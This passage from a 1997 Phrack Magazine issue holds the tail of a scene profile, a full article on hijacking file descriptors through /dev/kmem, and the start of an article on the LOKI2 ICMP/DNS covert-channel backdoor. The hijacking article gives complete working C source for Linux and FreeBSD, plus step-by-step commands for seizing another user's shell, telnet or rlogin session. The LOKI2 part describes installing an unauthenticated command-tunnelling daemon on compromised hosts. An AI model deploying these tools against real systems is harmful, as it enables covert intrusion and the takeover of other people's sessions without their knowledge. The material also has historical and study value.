Somebody who was making his college schedule wrote me email the other day, and asked "What classes should I take? I wanna be a hacker." I told him he'd be better off with some history and business courses. Please understand, I don't mean to diss on hacking. I'm all for having all the knowledge you can and exploring things, whatever they may be. But I've met a lot of bitter old "gadget freaks" in this scene, and that's something you want to stay away from.

That mentality will crush the life out of you under the weight of a thousand bits of trivia. Go outside, there's a world there already. It's a zillion times more exciting and vibrant that what you can build staring into a monitor's dim glare. Hour after hour, year after year. As your eyesight fails you and your head draws nearer the image, your shoulders slump. You become weak. You are less.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ People to mention

The Egyptian Lover: The whole 806 NPA's only real phreak who ran a great BBS, The Missing Link, in 1984. I've only seen him a couple of times in person, but have to give him mad props for helping Franken Gibe and myself get situated with the phreak knowledge. His board attracted guys from The Apple Mafia and The Untouchables (the first warez groups ever), and The Knights of Shadow. Though I'd been getting warez since 1982, The Missing Link was our first contact with the real "elite" h/p scene, and it both fascinated and repulsed us.

Franken Gibe: Bill helped start and really define cDc back in the day. He's a really cool guy. I've known him for over ten years. What can I say? We're still, to this day, working on things; though he hasn't been active in cDc since '89 or so. Now we're trying to start an advertising agency.

Tippy Turtle: Jason gave me my first local BBS number. I pushed him to finish "Bunny Lust", which is one of our most popular articles ever. There have been court cases inspired by that file, and he wrote it when he was fourteen. He came back to town last Christmas and I showed him the cDc web site. His comment? "That's totally evil. I can't believe how evil this is."

Mohawk Dave: Christoph is another one of my oldest friends who never fails to diss cDc. He's a mega‑talented AI/robotics guy, and a rad guitarist and BMX freestyle rider too. Our group of friends spent countless hours cruising the neighborhoods of our hometown on bikes, talking, setting fires, breaking & entering, and having a good ol' time.

Ex‑girlfriends: Blech.

All the other cDc people. Dang, there've been maybe fifty or so over the years and they've all done their thing well and I'm really happy they did. They know what's up... this part could run on forever, so I'll just stop.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Pearls Of Wisdom

Procrastination is the denial of death.

Lift with your legs, not your back.

‑‑‑‑[ EOF

File Descriptor Hijacking

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 05 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ File Descriptor Hijacking

‑‑‑‑‑‑‑‑[ orabidoo <odar@pobox.com>

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

We often hear of tty hijacking as a way for root to take over a user's session. The traditional tools for this use STREAMS on SysV machines, and one article in Phrack 50 presented a way to do it in Linux, using loadable modules.

I'll describe here a simple technique that lets root take over a local or remote session. I've implemented it for Linux and FreeBSD; it should be easy to port it to just about any Un*x‑like system where root can write to kernel memory.

The idea is simple: by tweaking the kernel's file descriptor tables, one can forcefully move file descriptors from one process to another. This method allows you to do almost anything you want: redirect the output of a running command to a file, or even take over your neighbor's telnet connection.

How the kernel keeps track of open file descriptors

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In Un*x, processes access resources by means of file descriptors, which are obtained via system calls such as open(), socket() and pipe(). From the process's point of view, the file descriptor is an opaque handle to the resource. File descriptors 0, 1 and 2 represent standard input, output and error, respectively. New descriptors are always allocated in sequence.

On the other side of the fence, the kernel keeps, for each process, a table of file descriptors (fds), with a pointer to a structure for each fd. The pointer is NULL if the fd isn't open. Otherwise, the structure holds information about what kind of fd it is (a file, a socket, a pipe, etc), together with pointers to data about the resource that the fd accesses (the file's inode, the socket's address and state information, and so on).

The process table is usually an array or a linked list of structures. From the structure for a given process, you can easily find a pointer to the internal fd table for that process.

In Linux, the process table is an array (called "task") of struct task_struct's, and includes a pointer to a struct files_struct, which has the fd array (look at /usr/include/linux/sched.h for details). In SunOS 4, the process table is a linked list of struct proc's, which include a pointer to the u_area, which has info about the fds (look at /usr/include/sys/proc.h). In FreeBSD, it's also a linked list (called "allproc") of struct proc's, which include a pointer to a struct filedesc with the fd table (also according to /usr/include/sys/proc.h).

If you have read and write access to the kernel's memory (which, in most cases, is the same as having read/write access to /dev/kmem), there's nothing to prevent you from messing with these fd tables, stealing open fd's from a process and reusing them in another one.

The only major case where this won't work are systems based on BSD4.4 (such as {Free, Net, Open}BSD) running at a securelevel higher than 0. In that mode, write access to /dev/mem and /dev/kmem is disabled, among other things. However, many BSD systems run at securelevel ‑1, which leaves them vulnerable, and in many others it may be possible to get the securelevel to be ‑1 at the next boot by tweaking the startup scripts. On FreeBSD, you can check the securelevel with the command "sysctl kern.securelevel". Linux also has securelevels, but they don't prevent you from accessing /dev/kmem.

File descriptor hijacking

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The kernel's internal variables are really not made to be modified like this by user programs, and it shows.

First of all, on a multitasking system, you have no guarantee that the kernel's state won't have changed between the time you find out a variable's address and the time you write to it (no atomicity). This is why these techniques shouldn't be used in any program that aims for reliability. That being said, in practice, I haven't seen it fail, because the kernel doesn't move this kind of data around once it has allocated it (at least for the first 20 or 32 or 64 or so fds per process), and because it's quite unlikely that you'll do this just when the process is closing or opening a new fd.

You still want to try it?

For simplicity's sake, we won't try to do things like duplicating an fd between two processes, or passing an fd from one process to another without passing another one in return. Instead, we'll just exchange an fd in one process with another fd in another process. This way we only have to deal with open files, and don't mess with things like reference counts. This is as simple as finding two pointers in the kernel and switching them around. A slightly more complicated version of this involves 3 processes, and a circular permutation of the fds.

Of course, you have to guess which fd corresponds to the resource you want to pass. To take complete control of a running shell, you'll want its standard input, output and error, so you'll need to take the 3 fds 0, 1 and 2. To take control of a telnet session, you'll want the fd of the inet socket that telnet is using to talk to the other side, which is usually 3, and exchange it with another running telnet (so it knows what to do with it). Under Linux, a quick look at /proc/[pid]/fd will tell you which fds the process is using.

Using chfd

‑‑‑‑‑‑‑‑‑‑

I've implemented this for Linux and FreeBSD; it would be fairly easy to port to other systems (as long as they let you write to /dev/mem or /dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to figure out how it works).

To compile chfd for Linux, you need to figure out a couple things about the running kernel. If it's a 1.2.13 or similar, you'll need to uncomment the line /* #define OLDLINUX */, because the kernel's

structures have changed since then. If it's 2.0.0 or newer, it should work out of the box, although it could change again...

Then you need to find the symbol table for the kernel, which is usually in /boot/System.map or similar. Make sure this corresponds to the kernel that is actually running, and look up the address for the "task" symbol. You need to put this value in chfd, instead of "00192d28". Then compile with "gcc chfd.c ‑o chfd".

To compile chfd for FreeBSD, just get the FreeBSD code and compile it with "gcc chfd.c ‑o chfd ‑lkvm". This code was written for FreeBSD 2.2.1, and might need tweaking for other versions.

Once it's compiled, you invoke chfd with

chfd pid1 fd1 pid2 fd2

or

chfd pid1 fd1 pid2 fd2 pid3 fd3

In the first case, the fds are just swapped. In the second case, the second process gets the first's fd, the third gets the second's fd, and the first gets the third's fd.

As a special case, if one of the pids is zero, the corresponding fd is discarded, and a fd on /dev/null is passed instead.

Example 1

‑‑‑‑‑‑‑‑‑

. a long calculation is running with pid 207, and with output to the tty . you type "cat > somefile", and look up cat's pid (say 1746)

Then doing

chfd 207 1 1746 1

will redirect the calculation on the fly to the file "somefile", and the cat to the calculation's tty. Then you can ^C the cat, and leave the calculation running without fear of important results scrolling by.

Example 2

‑‑‑‑‑‑‑‑‑

. someone is running a copy of bash on a tty, with pid 4022

. you are running another copy of bash on a tty, with pid 4121

Then you do

sleep 10000

# on your own bash, so it won't read its tty for a while,

# otherwise your shell gets an EOF from /dev/null and leaves # the session immediately

chfd 4022 0 0 0 4121 0

chfd 4022 1 0 0 4121 1

chfd 4022 2 0 0 4121 2

and you find yourself controlling the other guy's bash, and getting the output too, while the guy's keystrokes go to /dev/null. When you exit the shell, he gets his session disconnected, and you're back in your sleep 10000 which you can safely ^C now.

Different shells might use different file descriptors; zsh seems to use fd 10 to read from the tty, so you'll need to exchange that too.

Example 3

‑‑‑‑‑‑‑‑‑

. someone is running a telnet on a tty, with pid 6309

. you start a telnet to some worthless port that won't drop the connection too quickly (telnet localhost 7, telnet www.yourdomain 80, whatever), with pid 7081

. under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you telnet is using fds 0, 1, 2 and 3, so 3 must be the connection.

Then doing

chfd 6309 3 7081 3 0 0

will replace the network connection with a /dev/null on the guy's telnet (which reads an EOF, so he'll get a "Connection closed by foreign host."), and your telnet finds itself connected to the guy's remote host. At this point you'll probably need to press ^] and type "mode character" to tell your telnet to stop echoing your lines locally.

Example 4

‑‑‑‑‑‑‑‑‑

. someone is running an rlogin on a tty; each rlogin uses two processes, with pids 4547 and 4548

. you start an rlogin localhost on another tty, with pids 4852 and 4855 . a quick look at the relevant /proc/../fds tells you that each of the rlogin processes is using fd 3 for the connection.

Then doing

chfd 4547 3 4552 3

chfd 4548 3 4555 3

does just what you expect. Except that your rlogin may still be blocked by the kernel because it's waiting on an event that won't happen (having data to read from localhost); in that case you wake it up with a kill ‑STOP followed by 'fg'.

You get the idea. When a program gets another one's fd, it's important that it knows what to do with it; in most cases you achieve this by running a copy of the same program you want to take over, unless you're passing a fd on /dev/null (which gives an EOF) or just passing stdin/stdout/stderr.

Conclusion

‑‑‑‑‑‑‑‑‑‑

As you can see, you can do quite powerful things with this. And there isn't really much you can do to protect yourself from some root doing this, either.

It could be argued that it's not even a security hole; root is *supposed* to be able to do these things. Otherwise there wouldn't be explicit code in the drivers for /dev/kmem to let you write there, would there?

The Linux code

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> fd_hijack/chfd‑linux.c

/* chfd ‑ exchange fd's between 2 or 3 running processes.

*

* This was written for Linux/intel and is *very* system‑specific. * Needs read/write access to /dev/kmem; setgid kmem is usually enough. *

* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]

*

* With two sets of arguments, exchanges a couple of fd between the * two processes.

* With three sets, the second process gets the first's fd, the third gets * the second's fd, and the first gets the third's fd.

*

* Note that this is inherently unsafe, since we're messing with kernel * variables while the kernel itself might be changing them. It works * in practice, but no self‑respecting program would want to do this. *

* Written by: orabidoo <odar@pobox.com>

* First version: 14 Feb 96

* This version: 2 May 97

*/

#include <stdio.h>

#include <unistd.h>

#include <fcntl.h>

#define __KERNEL__/* needed to access kernel‑only definitions */

#include <linux/sched.h>

/* #define OLDLINUX *//* uncomment this if you're using Linux 1.x;

tested only on 1.2.13 */

#define TASK 0x00192d28/* change this! look at the system map,

usually /boot/System.map, for the address

of the "task" symbol */

#ifdef OLDLINUX

# define FD0 ((char *)&ts.files‑>fd[0] ‑ (char *)&ts)

# define AD(fd) (taskp + FD0 + 4*(fd))

#else

# define FILES ((char *)&ts.files ‑ (char *)&ts)

# define FD0 ((char *)&fs.fd[0] ‑ (char *)&fs)

# define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))

#endif

int kfd;

struct task_struct ts;

struct files_struct fs;

int taskp;

int readval(int ad) {

int val, r;

if (lseek(kfd, ad, SEEK_SET) < 0)

perror("lseek"), exit(1);

if ((r = read(kfd, &val, 4)) != 4) {

if (r < 0)

perror("read");

else fprintf(stderr, "Error reading...\n");

exit(1);

}

return val;

}

int readvalz(int ad) {

int r = readval(ad);

if (r == 0)

fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1); return r;

}

void writeval(int ad, int val) {

int w;

if (lseek(kfd, ad, SEEK_SET) < 0)

perror("lseek"), exit(1);

if ((w = write(kfd, &val, 4)) != 4) {

if (w < 0)

perror("write");

else fprintf(stderr, "Error writing...\n");

exit(1);

}

}

void readtask(int ad) {

int r;

if (lseek(kfd, ad, SEEK_SET)<0)

perror("lseek"), exit(1);

if ((r = read(kfd, &ts, sizeof(struct task_struct))) != sizeof(struct task_struct)) {

if (r < 0)

perror("read");

else fprintf(stderr, "Error reading...\n");

exit(1);

}

}

void findtask(int pid) {

int adr;

for (adr=TASK; ; adr+=4) {

if (adr >= TASK + 4*NR_TASKS)

fprintf(stderr, "Process not found\n"), exit(1);

taskp = readval(adr);

if (!taskp) continue;

readtask(taskp);

if (ts.pid == pid) break;

}

}

int main(int argc, char **argv) {

int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3; int three=0;

if (argc != 5 && argc != 7)

fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), exit(1);

pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);

pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);

if (argc == 7)

pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;

if (pid1 == 0)

pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);

if (pid2 == 0)

pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);

if (three && pid3 == 0)

pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);

kfd = open("/dev/kmem", O_RDWR);

if (kfd < 0)

perror("open"), exit(1);

findtask(pid1);

ad1 = AD(fd1);

val1 = readvalz(ad1);

printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);

findtask(pid2);

ad2 = AD(fd2);

val2 = readvalz(ad2);

printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);

if (three) {

findtask(pid3);

ad3 = AD(fd3);

val3 = readvalz(ad3);

printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3); }

if (three) {

if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) { fprintf(stderr, "fds changed in memory while using them ‑ try again\n"); exit(1);

}

writeval(ad2, val1);

writeval(ad3, val2);

writeval(ad1, val3);

} else {

if (readval(ad1)!=val1 || readval(ad2)!=val2) { fprintf(stderr, "fds changed in memory while using them ‑ try again\n"); exit(1);

}

writeval(ad1, val2);

writeval(ad2, val1);

}

printf("Done!\n");

}

<‑‑>

The FreeBSD code

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> fd_hijack/chfd‑freebsd.c

/* chfd ‑ exchange fd's between 2 or 3 running processes.

*

* This was written for FreeBSD and is *very* system‑specific. Needs * read/write access to /dev/mem and /dev/kmem; only root can usually * do that, and only if the system is running at securelevel ‑1. *

* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]

* Compile with: gcc chfd.c ‑o chfd ‑lkvm

*

* With two sets of arguments, exchanges a couple of fd between the * two processes.

* With three sets, the second process gets the first's fd, the third * gets the second's fd, and the first gets the third's fd.

*

* Note that this is inherently unsafe, since we're messing with kernel * variables while the kernel itself might be changing them. It works * in practice, but no self‑respecting program would want to do this. *

* Written by: orabidoo <odar@pobox.com>

* FreeBSD version: 4 May 97

*/

#include <stdio.h>

#include <fcntl.h>

#include <kvm.h>

#include <sys/proc.h>

#define NEXTP ((char *)&p.p_list.le_next ‑ (char *)&p)

#define FILES ((char *)&p.p_fd ‑ (char *)&p)

#define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))

kvm_t *kfd;

struct proc p;

u_long procp, allproc;

struct nlist nm[2];

u_long readval(u_long ad) {

u_long val;

if (kvm_read(kfd, ad, &val, 4) != 4)

fprintf(stderr, "error reading...\n"), exit(1);

return val;

}

u_long readvalz(u_long ad) {

u_long r = readval(ad);

if (r == 0)

fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1); return r;

}

void writeval(u_long ad, u_long val) {

if (kvm_write(kfd, ad, &val, 4) != 4)

fprintf(stderr, "error writing...\n"), exit(1);

}

void readproc(u_long ad) {

if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc)) fprintf(stderr, "error reading a struct proc...\n"), exit(1); }

void findproc(int pid) {

u_long adr;

for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) { procp = adr;

readproc(procp);

if (p.p_pid == pid) return;

}

fprintf(stderr, "Process not found\n");

exit(1);

}

int main(int argc, char **argv) {

int pid1, fd1, pid2, fd2, pid3, fd3;

u_long ad1, val1, ad2, val2, ad3, val3;

int three=0;

if (argc != 5 && argc != 7)

fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), exit(1);

pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);

pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);

if (argc == 7)

pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;

if (pid1 == 0)

pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);

if (pid2 == 0)

pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);

if (three && pid3 == 0)

pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);

kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");

if (kfd == NULL) exit(1);

bzero(nm, 2*sizeof(struct nlist));

nm[0].n_name = "_allproc";

nm[1].n_name = NULL;

if (kvm_nlist(kfd, nm) != 0)

fprintf(stderr, "Can't read kernel name list\n"), exit(1); allproc = nm[0].n_value;

findproc(pid1);

ad1 = AD(fd1);

val1 = readvalz(ad1);

printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);

findproc(pid2);

ad2 = AD(fd2);

val2 = readvalz(ad2);

printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);

if (three) {

findproc(pid3);

ad3 = AD(fd3);

val3 = readvalz(ad3);

printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3); }

if (three) {

if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) { fprintf(stderr, "fds changed in memory while using them ‑ try again\n"); exit(1);

}

writeval(ad2, val1);

writeval(ad3, val2);

writeval(ad1, val3);

} else {

if (readval(ad1)!=val1 || readval(ad2)!=val2) { fprintf(stderr, "fds changed in memory while using them ‑ try again\n"); exit(1);

}

writeval(ad1, val2);

writeval(ad2, val1);

}

printf("Done!\n");

}

<‑‑>

‑‑‑‑[ EOF

LOKI2 (the implementation)

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 06 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ L O K I 2 (the implementation)

‑‑‑‑‑‑‑‑[ daemon9 <route@infonexus.com>

‑‑‑‑[ Introduction

This is the companion code to go with the article on covert channels in network protocols that originally appeared in P49‑06. The article does not explain the concepts, it only covers the implementation. Readers desiring more information are directed to P49‑06.

LOKI2 is an information‑tunneling program. It is a proof of concept work intending to draw attention to the insecurity that is present in many network protocols. In this implementation, we tunnel simple shell commands inside of ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic. To the network protocol analyzer, this traffic seems like ordinary benign packets of the corresponding protocol. To the correct listener (the LOKI2 daemon) however, the packets are recognized for what they really are. Some of the features offered are: three different cryptography options and on‑the‑fly protocol swapping (which is a beta feature and may not be available in your area).

The vulnerabilities presented here are not new. They have been known about and actively exploited for years. LOKI2 is simply one possible implementation. Implementations of similar programs exist for UDP, TCP, IGMP, etc... This is by no means limited to type 0 and type 8 ICMP packets.

Before you go ahead and patch owned hosts with lokid, keep in mind that when linked against the crypto libraries, it is around 70k, with about 16k alone in the data segment. It also forks off at least twice per client request. This is not a clandestine program. You want clandestine? Implement LOKI2 as an lkm, or, even better, write kernel diffs and make it part of the O/S.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ BUILDING AND INSTALLATION

Building LOKI2 should be painless. GNU autoconf was not really needed for this project; consequently you may have to edit the Makefile a bit. This shouldn't be a problem, becuase you are very smart.

‑‑‑‑[ I. Edit the toplevel Makefile

1) Make sure your OS is supported. As of this distribution, we suppport the following (if you port LOKI2 to another architecture, please send me the diffs):

Linux 2.0.x

OpenBSD 2.1

FreeBSD 2.1.x

Solaris 2.5.x

2) Pick an encryption technology. STRONG_CRYPTO (DH and Blowfish), WEAK_CRYPTO (XOR), or NO_CRYPTO (data is transmitted in plaintext).

3) If you choose STRONG_CRYPTO, uncomment LIB_CRYPTO_PATH, CLIB, and MD5_OBJ. You will also need SSLeay (see below).

4) Chose whether or not to allocate a psudeo terminal (PTY) (may not be implemented) or just use popen (POPEN) and use the

`pipe ‑> fork ‑> exec ‑> sh` sequence to execute commands.

5) See Net/3 restrictions below and adjust accordingly.

6) Pausing between sends is a good idea, especially when both hosts are on the same Ethernet. We are dealing with a potentially lossy protocol and there is no reliablity layer added as of this version... SEND_PAUSE maintains some order and keeps the daemon from spewing packets too fast.

You can also opt to increase the pause to a consdiderably larger value, making the channel harder to track on the part of the netework snooper. (This would, of course, necessitate the client to choose an even larger MIN_TIMEOUT value.

‑‑‑‑[ II. Supplemental librarys

1) If you are using STRONG_CRYPTO you will need to get the SSLeay crypto library, version 0.6.6. DO NOT get version 0.8.x as it is untested with LOKI2. Hopefully these URLs will not expire anytime soon:

ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/SSLeay‑0.6.6.tar.gz

ftp://ftp.uni‑mainz.de/pub/internet/security/ssl

2) Build and install SSLeay. If you decide not to install it, Make sure you correct the crypto library path LIB_CRYPTO_PATH in the Makefile and include paths in loki.h.

‑‑‑‑[ III. Compilation and linking

1) From the the toplevel directory, `make systemtype`.

2) This will build and strip the executables.

‑‑‑‑[ IV. Testing

1) Start the daemon in verbose mode using ICMP_ECHO (the default) `./lokid`

2) Start up a client `./loki ‑d localhost`

3) Issue an `ls`.

4) You should see a short listing of the root directory.

5) Yay.

6) For real world testing, install the daemon on a remote machine and go to town. See below for potential problems.

‑‑‑‑[ V. Other Options

The loki.h header file offers a series of configurable options.

MIN_TIMEOUT is the minimum amount of time in whole seconds the client will wait for a response from the server before the alarm timer goes off.

MAX_RETRAN (STRONG_CRYPTO only) is the maximum amount of time in whole seconds the client will retransmit its initial public key handshaking packets before giving up. This feature will be deprecated when a reliability layer is added.

MAX_CLIENT is the maximum amount of clients the server will accept and service concurrently.

KEY_TIMER is the maximum amount of time in whole seconds an idle client entry will be allowed to live in the servers database. If this amount of time has elapsed, all entries in the servers client database that have been inactive for KEY_TIMER seconds will be removed. This provides the server with a simple way to clean up resources from crashed or idle clients.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ LOKI2 CAVEATS AND KNOWN BUGS

Net/3 Restrictions

Under Net/3, processes interested in receiving ICMP messages must register with the kernel in order to get these messages. The kernel will then pass all ICMP messages to these registered listeners, EXCEPT for damaged ICMP packets and request packets. Net/3 TCP/IP implementations will not pass ICMP request messages of any kind to any registered listeners. This is a problem if we are going to be using ICMP_ECHO (a request type packet) and want it to be directly passed to our user‑level program (lokid). We can get around this restriction by inverting the flow of the transactions. We send ICMP_ECHOREPLYs and elicit ICMP_ECHOs.

Note, that under Linux, we do not have this probem as ALL valid ICMP packets are delivered to user‑level processes. If the daemon is installed on a Linux box, we can use the normal ICMP_ECHO ‑> ICMP_ECHOREPLY method of tunneling. Compile with ‑DNET3 according to this chart:

| Client |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Daemon | ‑‑‑‑‑‑‑ | Linux | *bsd* | Solaris |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Linux | no | yes | yes |

| *bsd* | no | yes | yes |

| Solaris | no | opt | opt |

The Initialization Vector

When using Strong Crypto, the initialization vector (ivec) incrementation is event based. Every time a packet is sent by the client the client ivec is incremented, and, every time a packet is received by the server, the server side ivec is also incremented. This is fine if both ends stay in sync with each other. However, we are dealing with a potentially lossy protocol. If a packet from the client to the server is dropped, the ivecs become desynched, and the client can no longer communicate with the server.

There are two easy ways to deal with this. One would be to modify the ivec permutation routine to be time‑vector based, having the ivecs increase as time goes by. This is problematic for several reasons. Initial synchronization would be difficult, especially on different machine architectures with different clock interrupt rates. Also, we would also have to pick a relatively small time interval for ivec permutations to be effective on fast networks, and the smaller the ivec time differential is, the more the protocol would suffer from clock drift (which is actually quite considerable).

Protocol Swaping

Swapping protocols is broken in everything but Linux. I think it has something to do with the Net/3 socket semantics. This is probably just a bug I need to iron out. Quite possibly something I did wrong. *shrug*... Nevermind the fact that the server isn't doing any synchronous I/O multiplexing, consequently, swapping protocols requires a socket change on everone's part. This is why this feature is 'beta'.

Authentication

Um, well, there is none. Any client can connect to the server, and any client can also cause the server to shut down. This is actually not a bug or a caveat. It is intentional.

I/O

Should be done via select.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ TODO LIST

‑ possible time vector‑based ivec permutation instead of event‑based as event based is prone to synch failures, OR, even better, a reliability layer.

‑‑‑‑[ The technologies

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ SYMMETRIC BLOCK CIPHER

A symmetric cipher is one that uses the same key for encryption and decryption, or the decryption key is easily derivable from the encryption key. Symmetric ciphers tend to be fast and well suited for bulk encryption, but suffer from woeful key distribution problems. A block cipher is simply one that encrypts data in blocks (usually 64‑bits). The symmetric block cipher employed by LOKI2 is Blowfish in CFB mode with a 128‑bit key.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ CFB MODE

Symmetric block ciphers can be implemented as self‑synchronizing stream ciphers. This is especially useful for data that is not suitable for padding or when data needs to processed in byte‑sized chunks. In CFB mode, data is encrypted in units smaller then the block size. In our case, each encryption of the 64‑bit block cipher encrypts 8‑bits of plaintext. The initialization vector, which is used to seed the process, must be unique but not secret. We use every 3rd byte of the symmetric key for our IV. The IV must change for each message, to do this, we simply increment it as packets are generated.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ BLOWFISH

Blowfish is a variable key length symmetric cipher designed by Bruce Schneier. It is a portable, free, fast, strong algorithm.

It offers a key length of up to 448‑bits, however, for LOKI2 we use a 128‑bit key.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ ASYMMETRIC CIPHER

An asymmetric cipher makes use of two keys, coventionally called the private key and public key. These two keys are mathematically related such that messages encrypted with one, can only be decrypted by the other. It is also infeasible to derive one key from the other. Asymmetric ciphers solve the problem of key management by negating the need for a shared secret, however they are much slower the symmetric ciphers. The perfect world in this case is a hybrid system, using both a symmetric cipher for key exchange and a symmetric cipher for encryption. This is the scheme employed in LOKI2.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ DIFFIE ‑ HELLMAN

In 1976, Whitfield Diffie and Marty Hellman came forth with the first asymmetric cipher (DH). DH cannot be used for encryption, only for symmetric key exchange. The strength of DH relies on the apparent difficulty in computing discrete logarithms in a finite field. DH generates a shared secret based off of 4 components:

P the public prime

g the public generator

c{x, X} the client's private/public keypair

s{y, Y} the server's private/public keypair

SS the shared secret (from the which the key is extracted)

The protocol for secret generation is simple:

Client Server

‑‑‑‑‑‑

1) X = g ^ x mod P

2) X ‑‑>

3) Y = g ^ y mod P

4) <‑‑ Y

5) SS = Y ^ x mod P SS = X ^ y mod P

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ NETWORK FLOW

L O K I 2

Covert channel implementation for Unix

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

daemon9|route [guild 1997]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| LOKI2 CLIENT |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

^ | sendto() | FIRST GENERATION LOKI2 DAEMON |

| | ‑‑‑‑‑‑‑‑‑‑‑

| | client sends | shadow() server forks

| | data v

| v |

| | ‑‑‑‑‑

| | |

| | |

| | v fork()

| | ‑‑‑‑‑

| | C| |P

| v | |

| | | ‑‑‑‑> clean_exit() parent exits

| | |

| | | 2nd generation child daemon becomes leader of a new | | | session, handles initial network requests ^ | |

| | v

| | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ‑‑‑‑‑‑‑‑‑‑‑> | SECOND GENERATION DAEMON | read() blocks until

| LOKI2 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ data arrives

| network | ^

| traffic | |

| |

‑‑‑‑‑‑‑<‑‑‑‑ |

| |

| |

| |

| v fork() |

| ‑‑‑‑‑

^ C| |P |

| | | parent continues

| | ‑‑‑>‑‑‑‑

| |

| | 3rd generation daemon handles client request

| v

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑<‑‑‑| THIRD GENERATION DAEMON |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

switch(PACKET_TYPE)

L_PK_REQ: L_REQ: STRONG_CRYPTO POPEN key management PTY |

pipe() <‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑<‑‑‑‑‑‑

|

|

| v fork() |

v ‑‑‑‑

Unimplemented (7.97) C| |P |

exit() |

4th generation child | ‑‑‑‑>‑‑‑‑‑‑‑>‑‑daemon execs commands v |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| FOURTH GENERATION DAEMON | exec() 4g child execs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑command in

STDOUT of command /bin/sh to client via pipe

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ THANKS

snocrash for being sno,

nirva for advice and help and the use of his FreeBSD machine, mycroft for advice and the use of his Solaris machine, alhambra for being complacent,

